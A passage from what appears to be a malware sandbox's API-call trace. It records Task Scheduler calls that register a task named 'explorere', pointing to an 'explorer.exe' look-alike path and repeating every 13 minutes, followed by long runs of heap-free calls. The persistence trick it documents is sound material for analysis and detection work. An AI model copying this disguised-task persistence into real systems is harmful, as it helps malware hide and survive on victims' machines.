", wMatch=0x62) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x38) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x36) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x32) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x2d) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x64) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x33) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x31) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x63) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x35) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x37) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x39) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0137.672] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0137.673] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0137.673] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0137.673] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0137.673] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0137.673] IUnknown:Release (This=0x466170) returned 0x1 [0137.673] IUnknown:Release (This=0x467de0) returned 0x1 [0137.673] ITaskDefinition:get_Triggers (in: This=0x467d20, ppTriggers=0x1fca00 | out: ppTriggers=0x1fca00*=0x467f20) returned 0x0 [0137.673] ITriggerCollection:Create (in: This=0x467f20, Type=1, ppTrigger=0x1fc9f8 | out: ppTrigger=0x1fc9f8*=0x4661e0) returned 0x0 [0137.673] lstrlenW (lpString="13") returned 2 [0137.673] _vsnwprintf (in: _Buffer=0x1fc980, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x1fc978 | out: _Buffer="PT13M") returned 5 [0137.673] ITrigger:get_Repetition (in: This=0x4661e0, ppRepeat=0x1fc9f0 | out: ppRepeat=0x1fc9f0*=0x466270) returned 0x0 [0137.673] IRepetitionPattern:put_Interval (This=0x466270, Interval="PT13M") returned 0x0 [0137.673] IUnknown:Release (This=0x466270) returned 0x1 [0137.674] _vsnwprintf (in: _Buffer=0x1fc940, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x1fc918 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0137.674] ITrigger:put_StartBoundary (This=0x4661e0, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0137.674] lstrlenW (lpString="") returned 0 [0137.674] lstrlenW (lpString="") returned 0 [0137.674] lstrlenW (lpString="") returned 0 [0137.674] lstrlenW (lpString="") returned 0 [0137.674] IUnknown:Release (This=0x4661e0) returned 0x1 [0137.674] IUnknown:Release (This=0x467f20) returned 0x1 [0137.674] ITaskDefinition:get_Settings (in: This=0x467d20, ppSettings=0x1fcea0 | out: ppSettings=0x1fcea0*=0x465f50) returned 0x0 [0137.674] lstrlenW (lpString="") returned 0 [0137.674] IUnknown:Release (This=0x465f50) returned 0x1 [0137.674] GetLocalTime (in: lpSystemTime=0x1fcd58 | out: lpSystemTime=0x1fcd58*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x1, wMilliseconds=0x1b1)) [0137.674] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefe7b0000 [0137.675] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetUserNameW") returned 0x7fefe7c1fd0 [0137.675] GetUserNameW (in: lpBuffer=0x1fcd80, pcbBuffer=0x1fcd68 | out: lpBuffer="kEecfMwgj", pcbBuffer=0x1fcd68) returned 1 [0137.675] ITaskDefinition:get_RegistrationInfo (in: This=0x467d20, ppRegistrationInfo=0x1fcd50 | out: ppRegistrationInfo=0x1fcd50*=0x467e60) returned 0x0 [0137.676] IRegistrationInfo:put_Author (This=0x467e60, Author="") returned 0x0 [0137.676] _vsnwprintf (in: _Buffer=0x1fcd80, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x1fcd18 | out: _Buffer="2022-08-06T02:19:01") returned 19 [0137.676] IRegistrationInfo:put_Date (This=0x467e60, Date="") returned 0x0 [0137.676] IUnknown:Release (This=0x467e60) returned 0x1 [0137.676] malloc (_Size=0x18) returned 0x467c60 [0137.676] free (_Block=0x467c60) [0137.676] lstrlenW (lpString="") returned 0 [0137.676] malloc (_Size=0x18) returned 0x467c60 [0137.676] ITaskFolder:RegisterTaskDefinition (in: This=0x467cd0, Path="explorere", pDefinition=0x467d20, flags=6, UserId=0x1fcff0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1fd030*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1fef00, varVal2=0xfe), LogonType=3, sddl=0x1fd010*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x1fcf10 | out: ppTask=0x1fcf10*=0x466430) returned 0x0 [0138.071] free (_Block=0x467c60) [0138.071] _memicmp (_Buf1=0x26bad0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0138.071] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x26d2c0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0138.072] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0138.072] GetProcessHeap () returned 0x250000 [0138.072] GetProcessHeap () returned 0x250000 [0138.072] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5e0) returned 1 [0138.072] GetProcessHeap () returned 0x250000 [0138.072] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d5e0) returned 0xc [0138.072] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d5e0 | out: hHeap=0x250000) returned 1 [0138.072] GetProcessHeap () returned 0x250000 [0138.072] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x82) returned 0x289c50 [0138.072] _vsnwprintf (in: _Buffer=0x1fd650, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x1fceb8 | out: _Buffer="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n") returned 71 [0138.072] _fileno (_File=0x7fefed02ab0) returned -2 [0138.072] _errno () returned 0x464bb0 [0138.072] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0138.072] SetLastError (dwErrCode=0x6) [0138.072] lstrlenW (lpString="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n") returned 71 [0138.072] GetConsoleOutputCP () returned 0x0 [0138.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0138.073] GetConsoleOutputCP () returned 0x0 [0138.073] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0xffef1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"explorere\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0138.073] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 71 [0138.073] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0138.073] IUnknown:Release (This=0x466430) returned 0x0 [0138.073] TaskScheduler:IUnknown:Release (This=0x467d20) returned 0x0 [0138.073] TaskScheduler:IUnknown:Release (This=0x467cd0) returned 0x0 [0138.073] TaskScheduler:IUnknown:Release (This=0x467aa0) returned 0x1 [0138.073] lstrlenW (lpString="") returned 0 [0138.073] lstrlenW (lpString="13") returned 2 [0138.073] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="13", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0138.073] GetProcessHeap () returned 0x250000 [0138.073] GetProcessHeap () returned 0x250000 [0138.073] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c390) returned 1 [0138.073] GetProcessHeap () returned 0x250000 [0138.073] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c390) returned 0x1fc [0138.074] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c390 | out: hHeap=0x250000) returned 1 [0138.074] GetProcessHeap () returned 0x250000 [0138.074] GetProcessHeap () returned 0x250000 [0138.074] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26b9d0) returned 1 [0138.074] GetProcessHeap () returned 0x250000 [0138.074] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26b9d0) returned 0x6 [0138.074] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26b9d0 | out: hHeap=0x250000) returned 1 [0138.074] GetProcessHeap () returned 0x250000 [0138.074] GetProcessHeap () returned 0x250000 [0138.074] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d540) returned 1 [0138.074] GetProcessHeap () returned 0x250000 [0138.074] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d540) returned 0x16 [0138.074] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d540 | out: hHeap=0x250000) returned 1 [0138.074] GetProcessHeap () returned 0x250000 [0138.074] GetProcessHeap () returned 0x250000 [0138.074] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d520) returned 1 [0138.074] GetProcessHeap () returned 0x250000 [0138.074] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d520) returned 0x18 [0138.074] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d520 | out: hHeap=0x250000) returned 1 [0138.074] GetProcessHeap () returned 0x250000 [0138.074] GetProcessHeap () returned 0x250000 [0138.074] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd90) returned 1 [0138.074] GetProcessHeap () returned 0x250000 [0138.074] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd90) returned 0x20 [0138.075] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd90 | out: hHeap=0x250000) returned 1 [0138.075] GetProcessHeap () returned 0x250000 [0138.075] GetProcessHeap () returned 0x250000 [0138.075] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c030) returned 1 [0138.075] GetProcessHeap () returned 0x250000 [0138.075] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c030) returned 0xa0 [0138.075] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c030 | out: hHeap=0x250000) returned 1 [0138.075] GetProcessHeap () returned 0x250000 [0138.075] GetProcessHeap () returned 0x250000 [0138.075] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bab0) returned 1 [0138.075] GetProcessHeap () returned 0x250000 [0138.075] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bab0) returned 0x18 [0138.075] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bab0 | out: hHeap=0x250000) returned 1 [0138.075] GetProcessHeap () returned 0x250000 [0138.075] GetProcessHeap () returned 0x250000 [0138.076] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cb50) returned 1 [0138.076] GetProcessHeap () returned 0x250000 [0138.076] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cb50) returned 0x20 [0138.076] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cb50 | out: hHeap=0x250000) returned 1 [0138.076] GetProcessHeap () returned 0x250000 [0138.076] GetProcessHeap () returned 0x250000 [0138.076] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c290) returned 1 [0138.076] GetProcessHeap () returned 0x250000 [0138.076] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c290) returned 0x80 [0138.076] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c290 | out: hHeap=0x250000) returned 1 [0138.076] GetProcessHeap () returned 0x250000 [0138.076] GetProcessHeap () returned 0x250000 [0138.076] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d560) returned 1 [0138.076] GetProcessHeap () returned 0x250000 [0138.076] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d560) returned 0x18 [0138.076] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d560 | out: hHeap=0x250000) returned 1 [0138.077] GetProcessHeap () returned 0x250000 [0138.077] GetProcessHeap () returned 0x250000 [0138.077] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cb20) returned 1 [0138.077] GetProcessHeap () returned 0x250000 [0138.077] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cb20) returned 0x20 [0138.077] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cb20 | out: hHeap=0x250000) returned 1 [0138.077] GetProcessHeap () returned 0x250000 [0138.077] GetProcessHeap () returned 0x250000 [0138.077] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26dcd0) returned 1 [0138.077] GetProcessHeap () returned 0x250000 [0138.077] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26dcd0) returned 0x82 [0138.077] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26dcd0 | out: hHeap=0x250000) returned 1 [0138.077] GetProcessHeap () returned 0x250000 [0138.077] GetProcessHeap () returned 0x250000 [0138.077] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d500) returned 1 [0138.077] GetProcessHeap () returned 0x250000 [0138.077] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d500) returned 0x18 [0138.077] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d500 | out: hHeap=0x250000) returned 1 [0138.077] GetProcessHeap () returned 0x250000 [0138.077] GetProcessHeap () returned 0x250000 [0138.077] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26caf0) returned 1 [0138.077] GetProcessHeap () returned 0x250000 [0138.077] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26caf0) returned 0x20 [0138.078] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26caf0 | out: hHeap=0x250000) returned 1 [0138.078] GetProcessHeap () returned 0x250000 [0138.078] GetProcessHeap () returned 0x250000 [0138.078] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c370) returned 1 [0138.078] GetProcessHeap () returned 0x250000 [0138.078] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c370) returned 0xe [0138.078] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c370 | out: hHeap=0x250000) returned 1 [0138.078] GetProcessHeap () returned 0x250000 [0138.078] GetProcessHeap () returned 0x250000 [0138.078] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c350) returned 1 [0138.078] GetProcessHeap () returned 0x250000 [0138.078] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c350) returned 0x18 [0138.078] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c350 | out: hHeap=0x250000) returned 1 [0138.078] GetProcessHeap () returned 0x250000 [0138.078] GetProcessHeap () returned 0x250000 [0138.078] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265d80) returned 1 [0138.078] GetProcessHeap () returned 0x250000 [0138.078] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265d80) returned 0x20 [0138.079] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265d80 | out: hHeap=0x250000) returned 1 [0138.079] GetProcessHeap () returned 0x250000 [0138.079] GetProcessHeap () returned 0x250000 [0138.079] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bc30) returned 1 [0138.079] GetProcessHeap () returned 0x250000 [0138.079] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bc30) returned 0x208 [0138.079] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bc30 | out: hHeap=0x250000) returned 1 [0138.079] GetProcessHeap () returned 0x250000 [0138.079] GetProcessHeap () returned 0x250000 [0138.079] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba90) returned 1 [0138.079] GetProcessHeap () returned 0x250000 [0138.079] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ba90) returned 0x18 [0138.079] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba90 | out: hHeap=0x250000) returned 1 [0138.079] GetProcessHeap () returned 0x250000 [0138.079] GetProcessHeap () returned 0x250000 [0138.079] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265c90) returned 1 [0138.079] GetProcessHeap () returned 0x250000 [0138.080] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265c90) returned 0x20 [0138.080] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265c90 | out: hHeap=0x250000) returned 1 [0138.080] GetProcessHeap () returned 0x250000 [0138.080] GetProcessHeap () returned 0x250000 [0138.080] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d2c0) returned 1 [0138.080] GetProcessHeap () returned 0x250000 [0138.080] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d2c0) returned 0x200 [0138.080] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d2c0 | out: hHeap=0x250000) returned 1 [0138.080] GetProcessHeap () returned 0x250000 [0138.080] GetProcessHeap () returned 0x250000 [0138.080] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26bad0) returned 1 [0138.080] GetProcessHeap () returned 0x250000 [0138.080] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26bad0) returned 0x18 [0138.080] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26bad0 | out: hHeap=0x250000) returned 1 [0138.081] GetProcessHeap () returned 0x250000 [0138.081] GetProcessHeap () returned 0x250000 [0138.081] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265c00) returned 1 [0138.081] GetProcessHeap () returned 0x250000 [0138.081] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265c00) returned 0x20 [0138.081] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265c00 | out: hHeap=0x250000) returned 1 [0138.081] GetProcessHeap () returned 0x250000 [0138.081] GetProcessHeap () returned 0x250000 [0138.081] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c240) returned 1 [0138.081] GetProcessHeap () returned 0x250000 [0138.081] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c240) returned 0x14 [0138.081] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c240 | out: hHeap=0x250000) returned 1 [0138.081] GetProcessHeap () returned 0x250000 [0138.081] GetProcessHeap () returned 0x250000 [0138.081] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c220) returned 1 [0138.081] GetProcessHeap () returned 0x250000 [0138.081] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c220) returned 0x18 [0138.081] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c220 | out: hHeap=0x250000) returned 1 [0138.081] GetProcessHeap () returned 0x250000 [0138.081] GetProcessHeap () returned 0x250000 [0138.081] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265b40) returned 1 [0138.081] GetProcessHeap () returned 0x250000 [0138.081] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265b40) returned 0x20 [0138.082] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265b40 | out: hHeap=0x250000) returned 1 [0138.082] GetProcessHeap () returned 0x250000 [0138.082] GetProcessHeap () returned 0x250000 [0138.082] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c260) returned 1 [0138.082] GetProcessHeap () returned 0x250000 [0138.082] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c260) returned 0x16 [0138.082] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c260 | out: hHeap=0x250000) returned 1 [0138.082] GetProcessHeap () returned 0x250000 [0138.082] GetProcessHeap () returned 0x250000 [0138.082] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26c1e0) returned 1 [0138.082] GetProcessHeap () returned 0x250000 [0138.082] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26c1e0) returned 0x18 [0138.082] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26c1e0 | out: hHeap=0x250000) returned 1 [0138.082] GetProcessHeap () returned 0x250000 [0138.082] GetProcessHeap () returned 0x250000 [0138.082] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265b10) returned 1 [0138.082] GetProcessHeap () returned 0x250000 [0138.082] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265b10) returned 0x20 [0138.083] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265b10 | out: hHeap=0x250000) returned 1 [0138.083] GetProcessHeap () returned 0x250000 [0138.083] GetProcessHeap () returned 0x250000 [0138.083] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba10) returned 1 [0138.083] GetProcessHeap () returned 0x250000 [0138.083] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26ba10) returned 0x2 [0138.083] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26ba10 | out: hHeap=0x250000) returned 1 [0138.083] GetProcessHeap () returned 0x250000 [0138.083] GetProcessHeap () returned 0x250000 [0138.083] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265960) returned 1 [0138.083] GetProcessHeap () returned 0x250000 [0138.083] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265960) returned 0x20 [0138.083] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265960 | out: hHeap=0x250000) returned 1 [0138.084] GetProcessHeap () returned 0x250000 [0138.084] GetProcessHeap () returned 0x250000 [0138.084] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x265990) returned 1 [0138.084] GetProcessHeap () returned 0x250000 [0138.084] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x265990) returned 0x20 [0138.084] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x265990 | out: hHeap=0x250000) returned 1 [0138.084] GetProcessHeap () returned 0x250000 [0138.084] GetProcessHeap () returned 0x250000 [0138.084] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x2659c0) returned 1 [0138.084] GetProcessHeap () returned 0x250000 [0138.084] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x2659c0) returned 0x20 [0138.085] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x2659c0 | out: hHeap=0x250000) returned 1 [0138.085] GetProcessHeap () returned 0x250000 [0138.085] GetProcessHeap () returned 0x250000 [0138.085] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x2659f0) returned 1 [0138.085] GetProcessHeap () returned 0x250000 [0138.085] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x2659f0) returned 0x20 [0138.085] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x2659f0 | out: hHeap=0x250000) returned 1 [0138.085] GetProcessHeap () returned 0x250000 [0138.085] GetProcessHeap () returned 0x250000 [0138.085] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cb80) returned 1 [0138.085] GetProcessHeap () returned 0x250000 [0138.085] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cb80) returned 0x20 [0138.086] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cb80 | out: hHeap=0x250000) returned 1 [0138.086] GetProcessHeap () returned 0x250000 [0138.086] GetProcessHeap () returned 0x250000 [0138.086] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d660) returned 1 [0138.086] GetProcessHeap () returned 0x250000 [0138.086] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d660) returned 0xe [0138.086] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d660 | out: hHeap=0x250000) returned 1 [0138.086] GetProcessHeap () returned 0x250000 [0138.086] GetProcessHeap () returned 0x250000 [0138.086] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cbb0) returned 1 [0138.086] GetProcessHeap () returned 0x250000 [0138.086] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cbb0) returned 0x20 [0138.087] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cbb0 | out: hHeap=0x250000) returned 1 [0138.087] GetProcessHeap () returned 0x250000 [0138.087] GetProcessHeap () returned 0x250000 [0138.087] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x267a80) returned 1 [0138.087] GetProcessHeap () returned 0x250000 [0138.087] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x267a80) returned 0x30 [0138.087] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x267a80 | out: hHeap=0x250000) returned 1 [0138.087] GetProcessHeap () returned 0x250000 [0138.087] GetProcessHeap () returned 0x250000 [0138.087] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cbe0) returned 1 [0138.087] GetProcessHeap () returned 0x250000 [0138.087] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cbe0) returned 0x20 [0138.088] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cbe0 | out: hHeap=0x250000) returned 1 [0138.088] GetProcessHeap () returned 0x250000 [0138.088] GetProcessHeap () returned 0x250000 [0138.088] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x267ac0) returned 1 [0138.088] GetProcessHeap () returned 0x250000 [0138.088] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x267ac0) returned 0x30 [0138.088] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x267ac0 | out: hHeap=0x250000) returned 1 [0138.088] GetProcessHeap () returned 0x250000 [0138.088] GetProcessHeap () returned 0x250000 [0138.088] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd60) returned 1 [0138.088] GetProcessHeap () returned 0x250000 [0138.088] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26cd60) returned 0x20 [0138.089] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26cd60 | out: hHeap=0x250000) returned 1 [0138.089] GetProcessHeap () returned 0x250000 [0138.089] GetProcessHeap () returned 0x250000 [0138.089] HeapValidate (hHeap=0x250000, dwFlags=0x0, lpMem=0x26d580) returned 1 [0138.089] GetProcessHeap () returned 0x250000 [0138.089] RtlSizeHeap (HeapHandle=0x250000, Flags=0x0, MemoryPointer=0x26d580) returned 0xe [0138.089] HeapFree (in: hHeap=0x250000, dwFlags=0x0, lpMem=0x26d580 | out: hHeap=0x250000) returned 1 [0138.089] GetProcessHeap () returned 0x250000 [0138.089] GetProcessHeap () returned 0x250000 